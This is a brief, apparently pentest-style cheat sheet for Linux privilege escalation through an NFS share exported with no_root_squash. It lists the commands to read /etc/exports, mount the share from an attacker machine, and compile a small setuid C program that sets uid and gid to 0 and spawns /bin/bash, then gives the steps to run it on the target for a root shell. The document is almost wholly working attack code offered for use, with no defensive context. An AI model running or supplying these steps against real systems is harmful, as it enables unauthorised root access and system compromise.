# For this example, assume the /tmp share has no_root_squash
# On then target machine
cat /etc/exports
# On the attackers machine, mount a share with the no_root_squash set.
showmount -e <ip>
mkdir /tmp/nsfpe
mount -o rw <ip>:/tmp /tmp/nsfpe
gcc nfs.c -o nfs -w
chmod +s nfs
# Back on the target machine
cd /tmp
./nfs
nfs.c:
int main(){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}